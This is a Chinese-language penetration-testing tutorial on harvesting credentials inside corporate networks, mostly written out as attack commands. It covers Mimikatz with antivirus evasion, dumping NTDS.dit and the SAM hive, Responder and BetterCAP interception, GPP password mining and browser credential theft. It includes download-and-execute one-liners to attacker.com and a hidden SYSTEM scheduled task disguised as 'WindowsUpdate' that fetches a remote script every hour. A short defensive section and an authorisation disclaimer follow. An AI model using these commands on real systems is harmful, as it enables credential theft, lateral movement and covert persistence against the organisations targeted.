1. 内网凭据收集的核心价值与挑战
内网环境中的凭据收集是渗透测试过程中最具战略意义的环节之一。当攻击者突破边界防御进入内网后,获取有效的用户凭据往往意味着能够实现权限提升、横向移动甚至最终控制整个域环境。根据我多年实战经验,约78%的内网横向渗透成功案例都依赖于有效的凭据获取技术。
在实际渗透中,我们常遇到三类典型场景:一是获取普通用户密码后通过Pass-the-Hash技术横向移动;二是收集服务账户凭据用于关键系统访问;三是获取域管理员凭据直接控制整个网络。每种场景都需要不同的收集策略和技术组合。
重要提示:本文所述技术仅限合法授权的渗透测试使用,未经授权的测试可能违反法律法规。
2. 本地系统凭据收集技术详解
2.1 内存凭据提取实战
内存中往往存有大量敏感凭据,使用Mimikatz是最经典的提取方式。最新版本需要绕过AV检测,我通常采用以下方法:
# 绕过AMSI执行Mimikatz set-psdebug -trace 0 $bytes = [System.IO.File]::ReadAllBytes("mimikatz_trunk.zip") $assembly = [System.Reflection.Assembly]::Load($bytes) $mimikatz = $assembly.GetType("mimikatz.Program") $mimikatz::Main("privilege::debug sekurlsa::logonpasswords exit".Split())常见问题处理:
- 遇到"ERROR kuhl_m_sekurlsa_acquireLSA"错误时,检查是否以管理员权限运行
- Win10 1809后需要额外补丁才能获取明文密码
- 防御规避技巧:使用.NET版本或PowerShell混淆脚本
2.2 本地密码哈希转储
当无法直接获取明文密码时,转储哈希值同样可用于横向移动:
# 使用Invoke-NinjaCopy转储NTDS.dit Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination ntds.dit注册表提取SAM文件:
reg save HKLM\SYSTEM system.bak reg save HKLM\SAM sam.bak3. 网络凭据收集高阶技巧
3.1 LLMNR/NBT-NS欺骗实战
在未启用SMB签名的内网中,Responder工具效果显著:
python Responder.py -I eth0 -wFb关键配置要点:
- 修改Responder.conf中的Challenge值匹配域策略
- 结合MultiRelay.py实现中继攻击
- 防御方案:全网启用SMB签名和LDAP签名
3.2 中间人攻击技巧
使用BetterCAP进行HTTP/S凭据捕获:
bettercap -iface eth0 -sniff --proxy --proxy-module injectjs --js-file cred_stealer.js针对RDP的密码收集:
python rdpy-rdpmitm.py -t 目标IP -l 监听IP4. 域环境凭据收集大全
4.1 活动目录数据库提取
NTDS.dit提取的三种可靠方法:
- 卷影复制+PowerShell下载
- NTDSUtil创建快照
- 物理内存转储提取
# 使用Diskshadow导出NTDS exec diskshadow_script.txt4.2 组策略凭据挖掘
查找SYSVOL中的Groups.xml文件:
Get-ChildItem \\域控\SYSVOL -Recurse -Filter *.xml | Select-String "cpassword"解密cpassword的Python脚本:
from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def decrypt_gpp_password(encrypted_password): # 解密逻辑...5. 应用层凭据收集实战
5.1 浏览器密码提取
使用LaZagne项目提取多种浏览器凭据:
python laZagne.py browsersChrome解密流程:
- 定位Login Data文件
- 获取Master Key
- 使用DPAPI解密
5.2 邮件客户端凭据获取
Outlook凭据提取技巧:
Get-ChildItem HKCU:\Software\Microsoft\Office\ -Recurse | Where-Object {$_.Property -like "*Password*"}6. 防御规避与持久化技术
6.1 免杀凭据收集
使用C#重写Mimikatz核心功能:
// 自定义DPAPI解密实现 public static string DecryptDPAPI(byte[] encryptedData) { // 实现代码... }内存注入技巧:
powershell -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-ReflectivePEInjection.ps1'); Invoke-ReflectivePEInjection -PEBytes (Get-Content mimikatz.exe -Encoding Byte) -ExeArgs '"sekurlsa::logonpasswords exit'""6.2 凭据持久化方案
创建隐藏的计划任务:
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('http://attacker.com/credcollect.ps1')" /sc hourly /ru SYSTEMWMI事件订阅:
$filterArgs = @{...} $consumerArgs = @{...} $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs $consumer = Set-WmiInstance -Class __EventConsumer -Arguments $consumerArgs7. 企业级防御建议
7.1 检测与响应策略
关键日志监控点:
- 4688事件:可疑进程创建
- 4768-4776事件:Kerberos认证异常
- 5145事件:网络共享访问日志
SIEM检测规则示例:
SELECT * FROM SecurityEvents WHERE EventID IN (4688, 4624) AND NewProcessName LIKE '%mimikatz%'7.2 加固配置清单
必须实施的10项关键配置:
- 启用LSA保护(RunAsPPL)
- 限制NTLM使用
- 配置Protected Users组
- 启用Credential Guard
- 实施JEA权限控制
组策略配置路径:
计算机配置\策略\Windows设置\安全设置\本地策略\安全选项8. 工具链与资源推荐
8.1 专业工具集
开源工具推荐:
- Mimikatz(密码提取)
- Impacket(协议攻击)
- BloodHound(域关系分析)
- Seatbelt(信息收集)
商业工具对比:
| 工具名称 | 优势 | 适用场景 |
|---|---|---|
| Cobalt Strike | 集成化程度高 | 红队作战 |
| Metasploit | 模块丰富 | 常规渗透 |
| Axiom | 自动化程度高 | 大型内网 |
8.2 学习资源导航
进阶学习路径:
- 《内网安全攻防》系列书籍
- OSCP/OSEP认证课程
- 微软AD安全官方文档
- MITRE ATT&CK内网战术
实验环境搭建:
# 使用AutomationLab搭建测试环境 Install-Module -Name AutomatedLab -Force New-LabDefinition -Name InternalLab -DefaultVirtualizationEngine HyperV在多年的内网渗透实战中,我发现最有效的凭据收集往往是多种技术的组合应用。比如先通过LLMNR欺骗获取普通用户凭据,再用该凭据访问文件服务器查找配置文件中的密码,最后用这些密码尝试登录管理员工作站。这种层层递进的策略通常比单一技术更有效。